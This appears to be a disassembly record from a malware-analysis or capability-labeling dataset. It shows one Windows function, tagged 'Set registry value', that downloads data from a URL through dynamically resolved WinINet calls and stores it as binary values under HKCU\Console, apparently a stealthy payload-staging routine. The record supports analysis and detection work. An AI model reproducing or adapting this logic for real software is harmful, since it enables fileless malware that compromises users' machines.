Function at 0x1400012e0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov dword [rsp + 0x80], 0x64000
mov ecx, 0x64000
call fcn.140001760
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x60], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x140001362
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.140001820
jmp 0x140001696
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x58], 0
je 0x1400013f0
cmp qword [rsp + 0x90], 0
je 0x1400013f0
cmp qword [rsp + 0x50], 0
je 0x1400013f0
cmp qword [rsp + 0x70], 0
jne 0x14000141d
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call fcn.140001820
jmp 0x140001696
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x14000167c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x14000166a
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001652
mov dword [rsp + 0xa8], 0
mov dword [rsp + 0xac], 0
cmp dword [rsp + 0x60], 0
jbe 0x1400015b9
mov eax, 0x64000
sub eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xac]
mov rdx, qword [rsp + 0x78]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x60]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0x50]
cmp dword [rsp + 0x60], 0
jbe 0x1400015b4
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0xac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0x64000
jne 0x1400015b4
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
mov dword [rsp + 0xac], 0
jmp 0x1400014f2
cmp dword [rsp + 0xac], 0
jbe 0x140001610
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0x70]
mov qword [rsp + 0x98], 0
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x70]
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0xc8]
call fcn.140001820
add rsp, 0xd8
ret